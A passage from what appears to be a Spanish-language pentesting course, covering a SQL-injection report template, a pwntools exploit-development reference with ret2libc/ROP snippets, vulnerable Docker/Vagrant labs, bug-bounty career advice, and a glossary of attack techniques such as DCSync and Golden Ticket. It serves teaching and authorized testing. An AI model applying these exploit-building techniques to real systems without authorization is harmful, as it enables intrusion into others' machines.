**Impacto:**
Un atacante puede extraer todos los datos de usuarios,
credenciales, pedidos e informacion financiera. RCE posible con INTO OUTFILE.

**Recomendacion:**
1. Usar prepared statements / parametrized queries
2. Validar y sanitizar TODOS los inputs del usuario
3. Implementar WAF como capa adicional

**Referencias:**
OWASP: https://owasp.org/www-community/attacks/SQL_Injection
CWE-89: https://cwe.mitre.org/data/definitions/89.html
```

B.3 Escala de severidad

Nivel	CVSS	Descripcion	SLA tipico
CRITICA	9.0-10	RCE sin auth, impacto total en datos/sistema	24 horas
ALTA	7.0-8.9	RCE con auth, escalada de privilegios, SQLi	7 dias
MEDIA	4.0-6.9	XSS stored, IDOR, info disclosure sensible	30 dias
BAJA	0.1-3.9	XSS reflected, headers ausentes, versiones	90 dias

APE C PWNTOOLS DE CABO A RABO

Python para exploit development profesional

"Python + pwntools = el bisturi de Elliot para diseccionar binarios."

Instalacion

```
$ pip3 install pwntools
```

C.1 Conexiones y IO

pwntools IO y conexiones

```
from pwn import *

p = process('./vuln')          # proceso local
r = remote('host.com', 4444)   # conexion remota (CTF/lab)

# Enviar datos
p.send(b'datos')              # sin newline
p.sendline(b'datos')          # con \n al final
p.sendafter(b'prompt:', b'ok') # esperar prompt, luego enviar

# Recibir datos
data = p.recv(1024)           # hasta N bytes
line = p.recvline()           # hasta \n
p.recvuntil(b'texto')         # descartar hasta texto
output = p.recvall()          # todo hasta EOF

# Interactivo (una vez que tienes shell)
p.interactive()

# GDB attach para debugging
gdb.attach(p, gdbscript='b *main+48\nc')
```

C.2 Packing y ELF

pwntools ELF y simbolos

```
# Packing de direcciones (little-endian por defecto)
p32(0xdeadbeef) # -> b'\xef\xbe\xad\xde'
p64(0xdeadbeef) # -> 8 bytes little-endian
u32(b'\xef\xbe\xad\xde') # -> 0xdeadbeef
u64(b'...8 bytes...') # -> int

# Trabajar con ELF
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Obtener simbolos
main_addr = elf.symbols['main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))

# PLT / GOT (para ret2plt)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# ROP gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0] # alineacion stack x64
```

C.3 Exploit completo ret2libc x64

APE D LABS CON VAGRANT Y DOCKER

Entornos reproducibles en minutos

D.1 Docker — labs rapidos sin configuracion

Docker labs

```
$ sudo apt install docker.io && sudo usermod -aG docker $USER

# DVWA (web hacking basico)
$ docker run --rm -p 80:80 vulnerables/web-dvwa

# OWASP Juice Shop (web hacking moderno)
$ docker run -p 3000:3000 bkimminich/juice-shop

# WebGoat (OWASP didactico)
$ docker run -p 8080:8080 webgoat/webgoat-8.0

# Metasploitable 2 (multiple servicios vulnerables)
$ docker run -p 22:22 -p 80:80 -p 445:445 tleemcjr/metasploitable2

# Red completa de practica (kali + victimas en misma red)
$ docker network create lab_net
$ docker run -d --network lab_net --name dvwa vulnerables/web-dvwa
$ docker run -it --network lab_net kalilinux/kali-rolling bash
```

D.2 Vagrant — VMs reproducibles con codigo

Vagrantfile basico

```
$ sudo apt install vagrant virtualbox

# Vagrantfile: lab Linux basico (atacante + victima)
Vagrant.configure('2') do |config|

  config.vm.define 'attacker' do |a|
    a.vm.box = 'kalilinux/rolling'
    a.vm.network 'private_network', ip: '192.168.56.10'
    a.vm.provider 'virtualbox' { |v| v.memory = 2048; v.cpus = 2 }
  end

  config.vm.define 'victim' do |v|
    v.vm.box = 'ubuntu/focal64'
    v.vm.network 'private_network', ip: '192.168.56.20'
    v.vm.provider 'virtualbox' { |vb| vb.memory = 1024 }
    v.vm.provision 'shell', inline: <<-SHELL
      apt-get update && apt-get install -y apache2 php mysql-server
    SHELL
  end
end

# Comandos basicos
$ vagrant up      # crear e iniciar
$ vagrant ssh attacker # conectar
$ vagrant halt    # apagar
$ vagrant destroy  # borrar todo
```

D.3 GOAD — Game of Active Directory

GOAD: LAB AD LISTO PARA USAR

GOAD es un lab AD preconfigurado con multiples vulnerabilidades reales. Incluye: 3 dominios, misconfigurations, CVEs, password reuse, y mas.
Repositorio: github.com/Orange-Cyberdefense/GOAD
Requisitos: VMware/VirtualBox + Vagrant + 16GB RAM
Tiempo de instalacion: ~30 minutos una vez descargado
Documentacion completa incluida — ideal para practicar AD attack paths

APE E COMO GANAR DINERO CON ESTO

Bug bounty, freelance, carrera profesional

"El conocimiento sin aplicacion es filosofia. Aplicalo y se vuelve dinero."

[HACKER MINDSET]

- > El mercado de ciberseguridad tiene mas demanda que oferta. Puedes entrar.
- > Bug bounty no requiere titulo ni certificacion. Requiere habilidad.
- > Tu primer pentest freelance probablemente venga de tu red de contactos.
- > OSCP es el estandar de la industria para pentesting. Vale la pena.
- > Documenta TODO. Tu portfolio es tu curriculum en este campo.

E.1 Bug Bounty – ganar dinero reportando vulnerabilidades

El bug bounty te permite reportar vulnerabilidades a empresas a cambio de recompensas economicas. Es legal, estructurado y el mejor camino para obtener experiencia real sin riesgos legales.

Plataforma	URL	Alcance	Pagos tipicos
HackerOne	hackerone.com	Privado+Publico	\$100 - \$100k+
Bugcrowd	bugcrowd.com	Privado+Publico	\$50 - \$50k+
Intigriti	intigriti.com	Europeo	€100 - €20k+
YesWeHack	yeswehack.com	Europeo/Latam	€100 - €15k+
Synack	synack.com	Solo invitados	\$500 - \$250k+

[PLAYBOOK: RUTA BUG BOUNTY – PRIMER REPORTE]

- 1 Elegir programa con alcance amplio y activo (revisar recent activity)
- 2 Leer COMPLETAMENTE las reglas de alcance y exclusiones del programa
- 3 Empezar con scope mas pequeno – no atacar todo de una vez
- 4 Hacer recon completo del target asignado
- 5 Buscar vulnerabilidades de impacto real (SQLi, IDOR, RCE) no XSS reflejado trivial
- 6 Reproducir el bug 3 veces antes de reportar – confirmar que es real
- 7 Escribir reporte claro: descripcion, pasos de reproduccion, impacto, PoC
- 8 Enviar y ser paciente – los triages tardan dias/semanas
- 9 Iterar: cada reporte duplicado te ensenja que no buscar

E.2 Freelance pentesting – primeros clientes

El freelance de pentesting es viable incluso para profesionales junior, especialmente para PYMEs que no pueden pagar a grandes consultoras.

Canal	Alcance	Precio tipico (mercado ES/LATAM)
Red de contactos	Local/regional	EUR 800-2500 por proyecto web pequeño
LinkedIn	Nacional	EUR 1500-5000 por web pentest completo
Plataformas IT	Global	USD 500-2000 por web app basica
Bug bounty -> credenciales	Global	Base para conseguir clientes directos
Agencias de ciberseg	Nacional	Subcontrata a especialistas freelance

DOCUMENTOS ESENCIALES PARA FREELANCE

- Contrato de confidencialidad (NDA) – protege a ambas partes
- Autorizacion firmada de pentesting – el documento mas importante
- Propuesta de alcance (Statement of Work) – define exactamente lo que haces
- Informe profesional (ver Apendice B) – el producto que el cliente paga
- Seguro de responsabilidad civil – recomendado para proyectos grandes

E.3 Certificaciones – las que importan en la industria

Certificacion	Entidad	Nivel	Precio aprox.	Valor de mercado
OSCP	OffSec	Intermedio	USD 1499	Muy alto – estandar industria
eJPT	eLearnSec	Principiante	USD 200	Buena para empezar
CEH	EC-Council	Intermedio	USD 1100	Reconocido en empresas grandes
PNPT	TCM Sec	Intermedio	USD 400	Practica, bien valorada
CRTP	Pentester Academy	Avanzado	USD 249	AD especializado
OSED	OffSec	Experto	USD 1499	Exploit dev – nicho alto pago

E.4 Ruta de carrera – de principiante a profesional

[PLAYBOOK: RUTA REALISTA DE 12-18 MESES]

- 1 Mes 1-3: Fundamentos Linux + redes + primeros CTF en TryHackMe
- 2 Mes 3-6: Web hacking (PortSwigger Academy completo) + primeras VulnHub
- 3 Mes 6-9: HackTheBox + OSCP prep + escribir writeups publicos
- 4 Mes 9-12: OSCP o PNPT (certificacion practica) + primeros bug bounty
- 5 Mes 12-15: Freelance primeros clientes / puesto junior en empresa
- 6 Mes 15-18: Especializacion (AD, red team, bug bounty full-time)
- 7 Palanca clave: documenta TODO y publica tu proceso (blog, GitHub)

DONDE BUSCAR TRABAJO

LinkedIn -> 'Pentester Junior', 'Security Analyst', 'Red Team'
Infosec Jobs (infosec-jobs.com) – especializado en ciberseguridad
CyberSecJobs.com – internacional
Indeed + Glassdoor filtrado por 'pentest' o 'security consultant'
Directamente en consultoras: S21sec, Tarlogic, Deloitte Cyber, NTT Security

GLO

GLOSARIO

Terminos basicos + avanzados del hacking profesional

Parte I – Terminos basicos

Termino	Definicion
Pentest	Prueba de penetracion – evaluacion de seguridad con autorizacion
CTF	Capture The Flag – competicion de seguridad con retos
Reverse shell	Conexion iniciada por la victima hacia el atacante
Payload	Codigo que realiza la accion del exploit
Exploit	Codigo que aprovecha una vulnerabilidad especifica
CVE	Common Vulnerabilities and Exposures – ID de vulnerabilidades
CVSS	Puntuacion de severidad 0-10 de una vulnerabilidad
RCE	Remote Code Execution – ejecutar codigo en sistema remoto
LPE	Local Privilege Escalation – escalar privilegios localmente
SQLi	SQL Injection – inyectar codigo SQL en consultas de BD
XSS	Cross-Site Scripting – inyectar scripts en el navegador
SSRF	Server-Side Request Forgery – peticiones forjadas desde servidor
IDOR	Insecure Direct Object Reference – acceder a recursos ajenos
SUID	Set User ID – binario que corre con privilegios del propietario
Hash	Funcion unidireccional para verificar integridad / almacenar pass
Wordlist	Lista de palabras para fuerza bruta o fuzzing
Fuzzing	Envio de inputs invalidos/malformados para encontrar bugs
IOC	Indicator of Compromise – artefacto que indica intrusion

Parte II – Terminos avanzados

Termino	Definicion
ROP	Return-Oriented Programming – ejecucion via gadgets del binario
ret2libc	Redirigir ejecucion a funciones de libc para evitar NX
NX/DEP	No-Execute / Data Execution Prevention – stack no ejecutable
ASLR	Address Space Layout Randomization – direcciones aleatorias
Stack Canary	Valor aleatorio en stack para detectar buffer overflows
PIE	Position Independent Executable – ASLR para el propio ejecutable
Gadget ROP	Secuencia de instrucciones terminada en RET usada en ROP chains
NOP Sled	Secuencia 0x90 para aumentar margen de error en shellcode
UAF	Use-After-Free – usar memoria ya liberada -> corrupcion de heap
LOTL	Living off the Land – usar binarios legitimos del sistema
PTH	Pass-the-Hash – autenticar con hash NTLM sin saber el password
Kerberoasting	Extraer tickets Kerberos de cuentas de servicio para crackear
Golden Ticket	TGT Kerberos forjado con hash de krbtgt – acceso total al dominio
DCSync	Extraer hashes del DC via protocolo de replicacion de AD
BloodHound	Herramienta de analisis grafico de rutas de ataque en AD
AMSI	Antimalware Scan Interface – API de escaneo de scripts en memoria
EDR	Endpoint Detection and Response – defensa avanzada en endpoints

SMEP	Supervisor Mode Execution Protection – impide ejecutar código de user en Ring 0
ret2usr	Técnica kernel – saltar a código en user space desde Ring 0
Dirty COW	CVE-2016-5195 – race condition para escribir en archivos RO
Dirty Pipe	CVE-2022-0847 – escritura arbitraria en archivos via pipe
PwnKit	CVE-2021-4034 – LPE universal en todos los Linux via pkexec
Timestomping	Modificar timestamps de archivos para dificultar análisis forense
C2/C&C	Command & Control – servidor que controla sistemas comprometidos
Lateral movement	Moverse entre sistemas dentro de la red comprometida
Pivoting	Usar sistema comprometido para atacar redes internas inaccesibles
Persistence	Técnicas para mantener acceso tras reinicios o cambios de pass

RESUMEN DEL CAMINO

MOD 0 -> Mentalidad y etica: la base que nunca caduca
MOD 0.5 -> Redes: el idioma en que habla el sistema
MOD 1 -> Linux: tu entorno, tu arma, tu aliado
MOD 2 -> OSINT: conocer al objetivo antes de tocarlo
MOD 3 -> Escaneo: mapear antes de atacar
MOD 4 -> Web: donde vive la mayoria de las vulnerabilidades reales
MOD 5 -> Shells y escalada: de acceso a control
MOD 6 -> Buffer overflow: hackear el pensamiento del compilador
MOD 7 -> Ghost Protocol: entrar, actuar, desaparecer
MOD 8 -> Evasion: ser invisible para las defensas
MOD 9 -> Active Directory: el corazon de las empresas
MOD 10 -> Kernel: el nivel mas profundo del control

\$ echo "El sistema no es invencible."

El sistema no es invencible.

\$ echo "Solo es complejo."

Solo es complejo.

\$ echo "Y tu acabas de aprender a leerlo."

Y tu acabas de aprender a leerlo.

\$ whoami

root

fsociety collective – 2026

Esta guía es un regalo para la sociedad.

Usala para proteger, no para destruir.

El conocimiento sin etica es solo una herramienta de caos.